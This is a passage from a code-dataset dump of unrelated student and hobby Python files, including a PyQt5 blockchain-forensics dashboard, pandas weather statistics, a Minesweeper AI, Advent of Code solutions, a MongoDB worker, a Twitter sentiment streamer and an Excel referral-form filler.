over each WOI entry as the total transactions it has (incoming+outgoing)\n if wallet in self.homeparent.caseinfo[\"data\"][STATS].keys():\n temp.setToolTip(\n f\"Total Transactions: {self.homeparent.caseinfo['data'][STATS][wallet][TOTAL_TXNS]}\")\n else:\n temp.setToolTip(f\"Total Transactions: [NO DATA]\")\n self.nodeListWidget.addItem(temp)\n\n def initDashboardDefaultValues(self):\n \"\"\"\n Function to initialize default values for different UI elements (e.g. placeholder texts)\n :return: None\n \"\"\"\n # Init dashboard window title\n self.setWindowTitle(\"DigiTrace - \" + self.homeparent.caseinfo[\"filename\"])\n\n # Set Placeholder text for \"walletLineEdit\"\n self.walletLineEdit.setPlaceholderText(\"Node address\")\n # Adjust default font size of \"walletLineEdit\"\n # self.walletLineEdit.setFont(QFont(\"Arial\", 12))\n\n # Set Placeholder text for \"transactionFilterEdit\"\n self.transactionFilterEdit.setPlaceholderText(\"Search for transaction...\")\n # Adjust default font size of \"transactionFilterEdit\"\n # self.transactionFilterEdit.setFont(QFont(\"Arial\", 12))\n\n # Set Min,Max Datetimes for \"timeStartPicker\" & \"timeEndPicker\"\n currentDateTime = QDateTime.currentDateTime()\n self.timeStartPicker.setDateTimeRange(self.timeStartPicker.dateTime(), currentDateTime)\n self.timeEndPicker.setDateTimeRange(self.timeEndPicker.dateTime(), currentDateTime)\n\n # Set Default Datetime for \"timeEndPicker\" to current dateTime\n self.timeEndPicker.setDateTime(currentDateTime)\n\n def setupEvents(self):\n \"\"\"\n Function to do all the connection of events / signal handlers\n :return: None\n \"\"\"\n # WOI Search String Filter (Text Edited Event)\n self.walletLineEdit.textEdited.connect(self.searchWOIAddresses)\n\n # View Transactions of selected WOI (On-Click Event)\n self.addNodeBtn.clicked.connect(self.addNodeBtnHandler)\n\n # Open WOI profile (ListWidgetItem Double Clicked Event)\n self.nodeListWidget.itemClicked.connect(self.copyToClipboard)\n self.nodeListWidget.itemDoubleClicked.connect(self.openWOIProfile)\n\n # Display Order Filter (Selection Changed Event)\n self.displayOrderPicker.activated.connect(self.refreshView)\n\n # Transaction Type Filter (Selection Changed Event)\n self.transactionTypePicker.activated.connect(self.filter)\n\n # Transaction Search String Filter (Text Edited Event)\n self.transactionFilterEdit.textEdited.connect(self.filter)\n\n # Date Time Picker Changed ( Event)\n self.timeStartPicker.dateTimeChanged.connect(self.filter)\n self.timeEndPicker.dateTimeChanged.connect(self.filter)\n\n # View transactions with selected Unique wallet address under current filter conditions\n self.transactionListWidget.itemClicked.connect(self.clipTransaction)\n self.transactionListWidget.itemDoubleClicked.connect(self.openTransactions)\n\n # Add / Drop Relationship (On-Click Event)\n self.addRelationshipBtn.clicked.connect(self.addRelationship)\n self.dropRelationshipBtn.clicked.connect(self.dropRelationship)\n\n # Drop Node (On-Click Event)\n self.dropNodeBtn.clicked.connect(self.dropNodeBtnHandler)\n\n # Menubar Events\n self.actionOpen.setShortcut(\"Ctrl+O\")\n self.actionSave.setShortcut(\"Ctrl+S\")\n self.actionHelp.setShortcut(\"Ctrl+I\")\n self.actionClose.setShortcut(\"Ctrl+D\")\n self.actionOpen.triggered.connect(self.open)\n self.actionSave.triggered.connect(self.save)\n self.actionSave_As.triggered.connect(self.saveAs)\n self.actionHelp.triggered.connect(self.help)\n self.actionClose.triggered.connect(self.closeDashboard)\n\n def loadPage(self, pagename):\n \"\"\"\n Function to render a given .html page onto the QWebEngineView widget\n :param pagename: A string representation of a target webpage (.html) to render\n :return: None\n \"\"\"\n try:\n with open(pagename, 'r') as f:\n html = f.read()\n self.wev.setHtml(html)\n except RuntimeError:\n pass\n\n def filter(self):\n \"\"\"\n Function to handle any change in filter specified by user (transaction type, time range, search query)\n :return: None\n \"\"\"\n # Clear the transaction list\n self.transactionListWidget.clear()\n\n # Repopulate the transaction list\n self.populateTransactionList()\n\n def clipTransaction(self):\n \"\"\"\n Function to put highlighted transaction in Transaction List Widget into clipboard\n :return: None\n \"\"\"\n copy(self.transactionListWidget.currentItem().text().split('] ')[1])\n\n def copyToClipboard(self):\n \"\"\"\n Function to put highlighted WOI in Node List Widget into clipboard\n :return: None\n \"\"\"\n copy(self.nodeListWidget.currentItem().text().split(' ')[0])\n self.populateTransactionList()\n\n def openWOIProfile(self):\n \"\"\"\n Handler function for opening new window for displaying a selected WOI's profile\n :return: None\n \"\"\"\n self.homeparent.openNodeProfileWindow(self.nodeListWidget.currentItem().text().split(' ')[0])\n\n def openTransactions(self):\n \"\"\"\n Handler function for opening transaction window WRT to all transactions\n that current node has under specified filters\n :return: None\n \"\"\"\n selected_txn_addr = self.transactionListWidget.currentItem().text().split(\"] \")[1].lower()\n txns = [txn for txn in self.dataset if selected_txn_addr in txn[FROM] or selected_txn_addr in txn[TO]]\n\n for txn in txns:\n to_labels = self.ethscan.get_addr_labels(txn[\"to\"])\n from_labels = self.ethscan.get_addr_labels(txn[\"from\"])\n txn[\"to_labels\"] = to_labels\n txn[\"from_labels\"] = from_labels\n\n self.homeparent.openTransactionWindow(txns)\n\n def open(self):\n \"\"\"\n Handler Function to open another case\n :return: None\n \"\"\"\n self.homeparent.openExistingCaseWindow()\n self.closeDashboard()\n\n def save(self):\n \"\"\"\n Handler Function to save current work progress\n :return: None\n \"\"\"\n self.homeparent.saveFile(self.wallets_of_interest, self.wallet_relationships)\n\n def saveAs(self):\n \"\"\"\n Handler Function to save current work progress with a specific filename and location\n :return: None\n \"\"\"\n self.homeparent.saveFileAs(self.wallets_of_interest, self.wallet_relationships)\n self.setWindowTitle(\"DigiTrace - \" + self.homeparent.caseinfo[\"filename\"])\n\n def help(self):\n \"\"\"\n Handler Function to display help message box\n :return: None\n \"\"\"\n self.homeparent.displayMessage(\"[OPEN ANOTHER CASE]\\nCTRL+O\\n\\n[SAVE CURRENT CASE]\\nCTRL+S\\n\\n[SHOW THIS TOOLTIP]\\nCTRL+I\\n\\n[CLOSE DASHBOARD]\\nCTRL+D\")\n\n def closeDashboard(self):\n \"\"\"\n Handler Function to close dashboard and go back to Home window\n :return: None\n \"\"\"\n self.close()\n self.deleteLater()\n\n\ndef main():\n # Define the PyQT5 application object\n app = QApplication([])\n\n # Create the main window and show it\n home = HomeWindow()\n home.show()\n\n # Start the PyQT5 app\n app.exec_()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"xiuqiho/ICT2202-Digifax","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":48132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14472746743","text":"'''\r\n2. Ahora que tenemos los datos en un estado 'procesable', ya podemos analizarlos,\r\n inspeccionar valores máximos, mínimos y medios, desviación típica, etc.\r\n'''\r\nimport pandas as pd\r\nfrom pathlib import Path\r\n# FUNCIONES\r\ndef cargarDatos_Archivo_Json(archivo):\r\n fichero = Path(archivo)\r\n # creamos el dataframe\r\n df = pd.read_json(fichero)\r\n return df\r\n\r\ndef modificarElementosFloatDataframe(df):\r\n lista_columnas_float = ['tmed', 'prec', 'tmin', 'tmax', 'racha', 'sol', 'presMax', 'presMin']\r\n for columna in lista_columnas_float:\r\n df[columna] = df[columna].apply(lambda x: float(x.replace(\",\", \".\")))\r\n return df\r\n\r\ndef modificarOtrosElementos(df):\r\n df['nombre'] = df['nombre'].apply(lambda x: str(x.replace(\"я\", \"ÑO\")))\r\n return df\r\n\r\ndef sacarValoresMaximos(df):\r\n # quitamos la columna velmedia que da problemas Y nombre y provincia que son string\r\n lista_columnas = [\"fecha\" ,\"indicativo\" ,\"altitud\" ,\"tmed\" ,\"prec\" ,\"tmin\" ,\"horatmin\" ,\"tmax\" ,\"horatmax\" ,\"dir\" ,\"racha\" ,\"horaracha\" ,\"sol\" ,\"presMax\" ,\"horaPresMax\" ,\"presMin\" ,\"horaPresMin\"]\r\n for columna in lista_columnas:\r\n print(f\"Estos son los valores máximos de la columna {columna}\")\r\n print(df[columna].max())\r\n\r\ndef sacarValoresMinimos(df):\r\n # quitamos la columna velmedia que da problemas Y nombre y provincia que son string\r\n lista_columnas = [\"fecha\" ,\"indicativo\" ,\"altitud\" ,\"tmed\" ,\"prec\" ,\"tmin\" ,\"horatmin\" ,\"tmax\" ,\"horatmax\" ,\"dir\" ,\"racha\" ,\"horaracha\" ,\"sol\" ,\"presMax\" ,\"horaPresMax\" ,\"presMin\" ,\"horaPresMin\"]\r\n for columna in lista_columnas:\r\n print(f\"Estos son los valores mínimos de la columna {columna}\")\r\n print(df[columna].min())\r\n\r\ndef sacarValoresMedios(df):\r\n # quitamos la columna velmedia que da problemas Y nombre y provincia que son string y fecha, horatmin ,horatmax, horaracha, horaPresMax y horaPresMin\r\n lista_columnas = [\"indicativo\" ,\"altitud\" ,\"tmed\" ,\"prec\" ,\"tmin\" ,\"tmax\" ,\"dir\" ,\"racha\" ,\"sol\" ,\"presMax\" ,\"presMin\"]\r\n for columna in lista_columnas:\r\n print(f\"Estos son los valores medios de la columna {columna}\")\r\n print(df[columna].mean())\r\n\r\ndef sacarValoresDesviacionTipica(df):\r\n # quitamos la columna velmedia que da problemas Y nombre y provincia que son string y fecha, horatmin ,horatmax, horaracha, horaPresMax y horaPresMin\r\n lista_columnas = [\"indicativo\" ,\"altitud\" ,\"tmed\" ,\"prec\" ,\"tmin\" ,\"tmax\" ,\"dir\" ,\"racha\" ,\"sol\" ,\"presMax\" ,\"presMin\"]\r\n for columna in lista_columnas:\r\n print(f\"Estos son los valores desviación típica de la columna {columna}\")\r\n print(df[columna].std())\r\n\r\ndef sacarValoresCuenta(df):\r\n lista_columnas = [\"fecha\" ,\"indicativo\" ,\"altitud\" ,\"tmed\" ,\"prec\" ,\"tmin\" ,\"horatmin\" ,\"tmax\" ,\"horatmax\" ,\"dir\" ,\"racha\" ,\"horaracha\" ,\"sol\" ,\"presMax\" ,\"horaPresMax\" ,\"presMin\" ,\"horaPresMin\"]\r\n for columna in lista_columnas:\r\n print(f\"Estos son los valores de la cuenta de elementos de la columna {columna}\")\r\n print(df[columna].count())\r\n\r\n# VARIABLES\r\narchivo = \"ficheros_proyecto/Agoncillo_2019.json\"\r\n\r\n# OPERACIONES\r\ndf = cargarDatos_Archivo_Json(archivo)\r\ndf = modificarElementosFloatDataframe(df)\r\ndf = modificarOtrosElementos(df)\r\n\r\nprint(f\"********************************\")\r\nprint(f\"LISTA VALORES MÁXIMOS\")\r\nprint(f\"********************************\")\r\nsacarValoresMaximos(df)\r\n\r\n\r\nprint(f\"********************************\")\r\nprint(f\"LISTA VALORES MÍNIMOS\")\r\nprint(f\"********************************\")\r\nsacarValoresMinimos(df)\r\n\r\nprint(f\"********************************\")\r\nprint(f\"LISTA VALORES MEDIOS\")\r\nprint(f\"********************************\")\r\nsacarValoresMedios(df)\r\n\r\nprint(f\"********************************\")\r\nprint(f\"LISTA VALORES DESVIACIÓN TÍPICA\")\r\nprint(f\"********************************\")\r\nsacarValoresDesviacionTipica(df)\r\n\r\nprint(f\"********************************\")\r\nprint(f\"LISTA VALORES CUENTA\")\r\nprint(f\"********************************\")\r\nsacarValoresCuenta(df)\r\n","repo_name":"hector81/Aprendiendo_Python","sub_path":"L14_Proyecto/Ejercicio1_2.py","file_name":"Ejercicio1_2.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5641366366","text":"import itertools\nimport random\n\n\nclass Minesweeper():\n \"\"\"\n Minesweeper game representation\n \"\"\"\n\n def __init__(self, height=8, width=8, mines=8):\n\n # Set initial width, height, and number of mines\n self.height = height\n self.width = width\n self.mines = set()\n\n # Initialize an empty field with no mines\n self.board = []\n for i in range(self.height):\n row = []\n for j in range(self.width):\n row.append(False)\n self.board.append(row)\n\n # Add mines randomly\n while len(self.mines) != mines:\n i = random.randrange(height)\n j = random.randrange(width)\n if not self.board[i][j]:\n self.mines.add((i, j))\n self.board[i][j] = True\n\n # At first, player has found no mines\n self.mines_found = set()\n\n def print(self):\n \"\"\"\n Prints a text-based representation\n of where mines are located.\n \"\"\"\n for i in range(self.height):\n print(\"--\" * self.width + \"-\")\n for j in range(self.width):\n if self.board[i][j]:\n print(\"|X\", end=\"\")\n else:\n print(\"| \", end=\"\")\n print(\"|\")\n print(\"--\" * self.width + \"-\")\n\n def is_mine(self, cell):\n i, j = cell\n return self.board[i][j]\n\n def nearby_mines(self, cell):\n \"\"\"\n Returns the number of mines that are\n within one row and column of a given cell,\n not including the cell itself.\n \"\"\"\n\n # Keep count of nearby mines\n count = 0\n\n # Loop over all cells within one row and column\n for i in range(cell[0] - 1, cell[0] + 2):\n for j in range(cell[1] - 1, cell[1] + 2):\n\n # Ignore the cell itself\n if (i, j) == cell:\n continue\n\n # Update count if cell in bounds and is mine\n if 0 <= i < self.height and 0 <= j < self.width:\n if self.board[i][j]:\n count += 1\n\n return count\n\n def won(self):\n \"\"\"\n Checks if all mines have been flagged.\n \"\"\"\n return self.mines_found == self.mines\n\n\nclass Sentence():\n \"\"\"\n Logical statement about a Minesweeper game\n A sentence consists of a set of board cells,\n and a count of the number of those cells which are mines.\n \"\"\"\n\n def __init__(self, cells, count):\n self.cells = set(cells)\n self.count = count\n\n def __eq__(self, other):\n return self.cells == other.cells and self.count == other.count\n\n def __str__(self):\n return f\"{self.cells} = {self.count}\"\n\n def known_mines(self):\n \"\"\"\n Returns the set of all cells in self.cells known to be mines.\n \"\"\"\n\n # If count of mines is equal to number of cells (and > 0), all cells are mines:\n if len(self.cells) == self.count and self.count != 0:\n print('Mine Identified! - ', self.cells)\n return self.cells\n else:\n return set()\n\n def known_safes(self):\n \"\"\"\n Returns the set of all cells in self.cells known to be safe.\n \"\"\"\n\n # If count of mines is zero then all cells in the sentence are\n","repo_name":"nurdin0479/me50","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22574741687","text":"'''\nCreated on 21 Jul 2015\n\n@author: phxlk\n'''\nimport unittest\nfrom rootpy.io import File\nfrom ..data import create_test_tree, create_test_hist\nimport dps.utils.input as ti\n\n\nclass Test(unittest.TestCase):\n\n def setUp(self):\n create_test_tree('test.root')\n # append a histogram\n with File.open ('test.root', 'a+') as f:\n h = create_test_hist()\n h.write()\n f.write()\n\n def tearDown(self):\n pass\n\n def testValidityTreeInput(self):\n i = ti.Input(input_file='test.root',\n tree='test',\n branch='x',\n selection='1',\n weight_branch='1')\n self.assertTrue(i.isValid())\n\n def testValidityHistInput(self):\n i = ti.Input(input_file='test.root',\n hist='test_hist',\n )\n self.assertTrue(i.isValid())\n\n def testFailValidityTreeInput(self):\n i = ti.Input(input_file='doesnotexist.root',\n tree='test',\n branch='x',\n selection='1',\n weight_branch='1')\n self.assertFalse(i.isValid())\n\n def testFailValidityHistInput(self):\n i = ti.Input(input_file='test.root',\n hist='doesnotexist',\n )\n self.assertFalse(i.isValid())\n\n def testReadHist(self):\n i = ti.Input(input_file='test.root',\n hist='test_hist',\n )\n h = i.read()\n h_test = create_test_hist()\n self.assertEqual(h.nbins(), h_test.nbins())\n\n def testReadTree(self):\n i = ti.Input(input_file='test.root',\n tree='test',\n branch='x',\n selection='1',\n weight_branch='EventWeight',\n n_bins=10,\n x_min=0,\n x_max=10,\n )\n h = i.read()\n self.assertEqual(h.nbins(), 10)\n\n def testToDict1(self):\n i = ti.Input(input_file='test.root',\n hist='test_hist',\n )\n d = i.toDict()\n expected = {'class': 'dps.utils.input.Input',\n 'input_file': 'test.root', 'hist': 'test_hist'}\n self.assertEqual(d, expected)\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n","repo_name":"BristolTopGroup/DailyPythonScripts","sub_path":"tests/utils/test_input.py","file_name":"test_input.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"3549931805","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\nk = int(input())\n\nstart, end = 1, N*N\n\nwhile(start <= end):\n mid = (start+end)//2 # 중간값 설정\n \n cnt = 0\n for i in range(1, N+1):\n # i*j=임의의 값 이므로 각 행에서 행*열 곱한 값이 mid보다 작은 열의 개수를 더해준다. \n cnt += min(mid//i, N)\n if cnt >= k:\n break\n \n if cnt >= k: # 더 많은 수가 존재하면 기준 수 줄이기\n end = mid - 1\n else: # 더 적은 숫자가 존재하면 기준 수 늘리기\n start = mid + 1\n\nprint(start)\n","repo_name":"minjikang-cod/baekjoon","sub_path":"1300_K번째 수.py","file_name":"1300_K번째 수.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36714707684","text":"import sys\nimport time\n\nfrom pymongo import MongoClient\n\nfrom dogsearch.model import Model\n\n\nclass Worker:\n def __init__(self, host, dbname):\n self.db = MongoClient(\"mongodb://{}\".format(host))[dbname]\n self.model = Model.create(\"random\")\n self.attributes = [a for a in self.db.attributes.find({}, {\"_id\": False})]\n\n def run(self):\n images = self.db.images.find({\"status\": \"PENDING\"})\n for image in images:\n self.process(image[\"_id\"])\n pipeline = [{\"$match\": {\"operationType\": \"insert\"}}]\n with self.db.images.watch(pipeline) as stream:\n for change in stream:\n id = change[\"fullDocument\"][\"_id\"]\n self.process(id)\n\n def process(self, id):\n image = self.db.images.find_one_and_update(\n {\"_id\": id, \"status\": \"PENDING\"}, {\"$set\": {\"status\": \"PROCESSING\"}}\n )\n if image is None:\n return\n start = time.time()\n res = self.model.process(image[\"data\"], image[\"ext\"])\n end = time.time()\n elapsed_time = end - start\n attribute_values = {\n a[\"name\"]: a[\"values\"][res[a[\"name\"]]] for a in self.attributes\n }\n self.db.images.update_one(\n {\"_id\": id},\n {\n \"$set\": {\n \"status\": \"PROCESSED\",\n \"elapsed_time\": elapsed_time,\n \"attribute_values\": attribute_values,\n }\n },\n )\n print(\n \"id: {}, elapsed_time: {}, result: {}\".format(\n str(id), elapsed_time, attribute_values\n )\n )\n sys.stdout.flush()\n","repo_name":"abogin/dogsearch_service","sub_path":"code/backend/worker/app/dogsearch/worker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27452263052","text":"\n\n\nfrom math import ceil\nimport fileinput\nfrom collections import Counter\nimport re\n\ntest = \"\"\"1163751742\n1381373672\n2136511328\n3694931569\n7463417111\n1319128137\n1359912421\n3125421639\n1293138521\n2311944581\"\"\".split(\"\\n\")\n\ndef part1(inp):\n \"\"\"Depth first search through coordinate grid\"\"\"\n\n cells = dict()\n for i, line in enumerate(inp):\n for j, c in enumerate(line.strip()):\n cells[ (i,j) ] = int(c)\n\n # dynamic programming\n # work our way back from the end. what's the best way to get to the end from each of the surrounding cells\n\n # sort the cells by distance from the end\n sorted_cells = list(reversed(sorted(cells.keys(), key=lambda x: x[0] + x[1])))\n\n lowest_risks = dict()\n end_cell = sorted_cells[0] # the last one will be first\n\n lowest_risks[ end_cell ] = cells[end_cell]\n \n def lowest_risk(start):\n# print(f\"evaluating {start}, {path_so_far}\")\n# print(f\"lowest risks {lowest_risks}\")\n if start in lowest_risks:\n return lowest_risks[start]\n \n x, y = start\n adjacent = [ (x + 1, y),\n (x , y + 1) ]\n \n risks = [lowest_risk(cell) for cell in adjacent if cell in cells]\n lowest_risks[start] = cells[start] + min(risks)\n return lowest_risks[start]\n \n for cell in sorted_cells[1:]:\n # set the risk\n lowest_risk(cell, [])\n\n return lowest_risk( (0,0), [] ) - cells[(0,0)]\n # start from the ones closest to the end\n\ndef print_cells(cells):\n\n width = max(cell[0] for cell in cells.keys()) + 1\n height = max(cell[1] for cell in cells.keys()) + 1\n\n s = \"\"\n for i in range(width):\n for j in range(height):\n s += str(cells[ (j,i) ])\n s += \"\\n\"\n print(s)\n \ndef part2(inp):\n \"\"\"Depth first search through coordinate grid\"\"\"\n\n cells = dict()\n\n width = len(inp[0].strip())\n height = len(inp)\n print(f\"width {width} height {height}\")\n for j, line in enumerate(inp):\n for i, c in enumerate(line.strip()):\n # add this in five times\n for x in range(5):\n for y in range(5):\n cell = (i + x*width, j + y*height)\n val = (((int(c) + x + y) - 1) % 9 )+ 1\n # print(cell, c, x, y, val)\n cells[ cell ] = val\n\n print_cells(cells)\n # dynamic programming\n # work our way back from the end. what's the best way to get to the end from each of the surrounding cells\n\n # sort the cells by distance from the end\n sorted_cells = list(reversed(sorted(cells.keys(), key=lambda x: x[0] + x[1])))\n\n lowest_risks = dict()\n end_cell = sorted_cells[0] # the last one will be first\n\n lowest_risks[ end_cell ] = cells[end_cell]\n\n lowest_risk_paths = dict()\n lowest_risk_paths[ end_cell ] = [ end_cell ]\n \n print(end_cell)\n def lowest_risk(start):\n \"\"\"returns the list with the lowest risk\"\"\"\n # print(start, lowest_risks)\n if start in lowest_risks:\n return lowest_risks[start]\n \n x, y = start\n adjacent = [ (x + 1, y),\n (x - 1, y),\n (x , y + 1),\n (x , y - 1) ]\n \n risks = [lowest_risk(cell) for cell in adjacent if cell in cells]\n min_risk = min(risks)\n lowest_risks[start] = cells[start] + min_risk\n\n lowest_risk_path = [lowest_risk_paths[cell] for cell in adjacent if cell in cells and lowest_risk(cell) == min_risk][-1]\n# print(\"lowst risk path\", lowest_risk_path)\n lowest_risk_paths[start] = [start] + lowest_risk_path\n\n return lowest_risks[start]\n \n for cell in sorted_cells:\n # set the risk\n lowest_risk(cell)\n\n print(\"lowst risk path\", lowest_risk_paths[ (0,0) ])\n print(\"path sum\", sum([cells[cell] for cell in lowest_risk_paths[ (0,0) ]]))\n\n \n return lowest_risk( (0,0) ) - cells[ (0,0) ]\n # start from the ones closest to the end\n\n \n\nprint(part2(test))\n\ninp = list(fileinput.input())\nprint(part2(inp))\n","repo_name":"lshepard/advent-of-code","sub_path":"2021/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5812404720","text":"from tweepy import API\nfrom tweepy import Cursor\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\n\nimport credentials, keywords\n\nfrom textblob import TextBlob\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport re\n\n# # # Twitter Client # # #\nclass TwitterClient():\n def __init__(self, twitter_user=None):\n self.auth = TwitterAuthenticator().authenticate_twitter_app()\n self.twitter_client = API(self.auth, wait_on_rate_limit=True)\n self.twitter_user = twitter_user\n\n def get_twitter_client_api(self):\n return self.twitter_client\n\n def get_user_timeline_tweets(self, num_tweets):\n tweets = []\n for tweet in Cursor(self.twitter_client.user_timeline, id=self.twitter_user).items(num_tweets):\n tweets.append(tweet)\n return tweets\n \n def get_friend_list(self, num_friends):\n friend_list = []\n for friend in Cursor(self.twitter_client.friends, id = self.twitter_user).items(num_friends):\n friend_list.append(friend)\n return friend_list\n\n# # # Twitter Authenticator # # #\nclass TwitterAuthenticator():\n\n def authenticate_twitter_app(self):\n auth = OAuthHandler(credentials.CONSUMER_KEY, credentials.CONSUMER_SECRET)\n auth.set_access_token(credentials.ACCESS_TOKEN, credentials.ACCESS_TOKEN_SECRET)\n return auth\n\n# # # Twitter Streamer # # #\nclass TwitterStreamer():\n \"\"\"\n Class for streaming and processing live tweets\n \"\"\"\n def __init__(self):\n self.twitter_authenticator = TwitterAuthenticator()\n\n def stream_tweets(self, fetched_tweets_filename, hash_tag_list):\n #this handles twitter authentication and the connection to the Twitter Streaming API\n listener = TwitterListener(fetched_tweets_filename)\n auth = twitter_authenticator.authenticate_twitter_app()\n stream = Stream(auth, listener)\n\n stream.filter(track = hash_tag_list) \n\n# # # Twitter Stream Listener # # # \nclass TwitterListener(StreamListener):\n\n def __init__(self, fetched_tweets_filename):\n self.fetched_tweets_filename = fetched_tweets_filename\n\n def on_data(self, data):\n try:\n print(data)\n with open(self.fetched_tweets_filename, 'a') as tf:\n tf.write(data)\n return True\n except BaseException as e:\n print(\"Error on_data %s\" % str(e))\n return True\n\n def on_error(self, status):\n if status == 420:\n #Returning False on_data method in case rate limit occurs\n return False\n print(status)\n \nclass TweetAnalyzer():\n \"\"\"\n Functionality for analyzing and categorizing content from tweets \n \"\"\"\n def clean_tweet(self, tweet):\n return ' '.join(re.sub(r'(@[A-Za-z0-9]+)|([^0-9A-Za-z])', ' ', tweet).split())\n\n def analyze_sentiment(self, tweet):\n analysis = TextBlob(self.clean_tweet(tweet))\n\n if analysis.sentiment.polarity > 0:\n return 1\n elif analysis.sentiment.polarity == 0:\n return 0\n else:\n return -1\n\n def tweets_to_data_frame(self, tweets):\n df = pd.DataFrame(data=[tweet.text for tweet in tweets], columns=['Tweets'])\n \n df['len'] = np.array([len(tweet.text) for tweet in tweets])\n df['date'] = np.array([tweet.created_at for tweet in tweets])\n df['coordinates'] = np.array([tweet.coordinates for tweet in tweets])\n df['likes'] = np.array([tweet.favorite_count for tweet in tweets])\n df['retweets'] = np.array([tweet.retweet_count for tweet in tweets])\n # df['entities'] = np.array([tweet.entities for tweet in tweets])\n # df['geo'] = np.array([tweet.geo for tweet in tweets])\n # df.to_csv(r'info.txt', header = None, sep = ' ', mode='a')\n return df\n\nif __name__ == \"__main__\":\n fetched_tweets_filename = \"tweets.json\"\n hash_tag_list = keywords.key_list\n\n # twitter_client = TwitterClient('devanshi_g25')\n # print(twitter_client.get_user_timeline_tweets(1))\n # num_friends = 20\n # for i in range(num_friends):\n # print(twitter_client.get_friend_list(num_friends)[i]._json['name'])\n # twitter_streamer = TwitterStreamer()\n # twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)\n\n twitter_client = TwitterClient()\n tweet_analyzer = TweetAnalyzer()\n\n api = twitter_client.get_twitter_client_api()\n\n tweets = api.user_timeline(screen_name=\"pycon\", count=20)\n print(dir(tweets[0])) #Things that can be extracted from a tweet\n\n # df = tweet_analyzer.tweets_to_data_frame(tweets)\n # df['sentiment'] = np.array([tweet_analyzer.analyze_sentiment(tweet) for tweet in tweets])\n\n # print(df.head())\n\n #VISUALIZING DATA\n \"\"\"\n #Info about 10 tweets\n print(df.head(10))\n\n #Get average len over all tweets\n print(np.mean(df['len']))\n\n # Get the number of likes for the most liked tweets\n print(np.max(df['likes']))\n\n # Time Series\n time_likes = pd.Series(data=df['likes'].values, index=df['date'])\n time_likes.plot(figsize=(16,4), color='r', label=\"likes\", legend=True)\n\n time_retweets = pd.Series(data=df['retweets'].values, index=df['date'])\n time_retweets.plot(figsize=(16,4), color='b', label=\"retweets\", legend=True)\n\n plt.show()\n \"\"\"\n\n","repo_name":"pulkitd2699/Live-Tweet-Extractor","sub_path":"twitter api/streamapi.py","file_name":"streamapi.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20477345913","text":"from django.shortcuts import render\nimport requests\n\ndef home(request):\n response = requests.get('https://api.spotify.com/v1/artists')\n dataapi = response.json()\n context = {\n 'ids': dataapi['ids'],\n 'country': dataapi['country_name']\n\n }\n return render(request, 'core/home.html',context)\n# https://simpleisbetterthancomplex.com/tutorial/2018/02/03/how-to-use-restful-apis-with-django.html\n","repo_name":"Jarodes1458/djangoProject","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38353716785","text":"from openpyxl import Workbook, load_workbook\r\nimport os\r\nfrom datetime import datetime\r\nimport MyFunctions as functions\r\n\r\n\r\n\r\ndef createReferral (dictToFill):\r\n\r\n\tmainPath = os.getcwd()\r\n\r\n\tdateIn = datetime.fromisoformat(dictToFill['dateTimeEdit_MoveFromDateTime'])\r\n\tdateOut = datetime.fromisoformat(dictToFill['dateEdit_MoveToDate'])\r\n\tif dateOut < dateIn:\r\n\t\treturn\r\n\t\r\n\t \r\n\tloadWB = load_workbook('Referral.xlsx')\r\n\twSheet = loadWB.active\r\n\r\n\tmoveToOrganizationCell = wSheet ['C6']\r\n\tmoveToDepartmentCell = wSheet ['C7']\r\n\tmoveToDoctorCell = wSheet ['C8']\r\n\tpatientLastNameCell = wSheet ['C9']\r\n\tpatientFirstNameCell = wSheet ['C10']\r\n\tpatientPatronymicCell = wSheet ['C11']\r\n\tpatientBirthDateCell = wSheet ['C12']\r\n\tpatientAdressCell = wSheet ['C13']\r\n\tpatientTelephoneCell = wSheet ['C14']\r\n\tinOurDepartmentFromCell = wSheet ['E17']\r\n\tinOurDepartmentToCell = wSheet ['H17']\r\n\tdiagnosisCell = wSheet ['C18']\r\n\tFIOCell = wSheet ['E25']\r\n\tdateOfGivingCell = wSheet ['E26']\r\n\tdoctorCell = wSheet ['C28']\r\n\r\n\tmoveToOrganizationCell.value = ' ' + str (dictToFill['comboBox_MoveToOrganization'])\r\n\tmoveToDepartmentCell.value = str (dictToFill['lineEdit_MoveToDepatment'])\r\n\tmoveToDoctorCell.value = str (dictToFill['lineEdit_MoveToDoctor'])\r\n\tpatientLastNameCell.value = str (dictToFill['lineEdit_PatientLastName'])\r\n\tpatientFirstNameCell.value = str (dictToFill['lineEdit_PatientFirstName'])\r\n\tpatientPatronymicCell.value = str (dictToFill['lineEdit_PatientPatronymic'])\r\n\tbirthDate = functions.editingDateTime(dictToFill['dateEdit_PatientBirthDate'])[0]\r\n\tage = functions.calculationAge(dictToFill['dateEdit_PatientBirthDate'])\r\n\tpatientBirthDateCell.value = 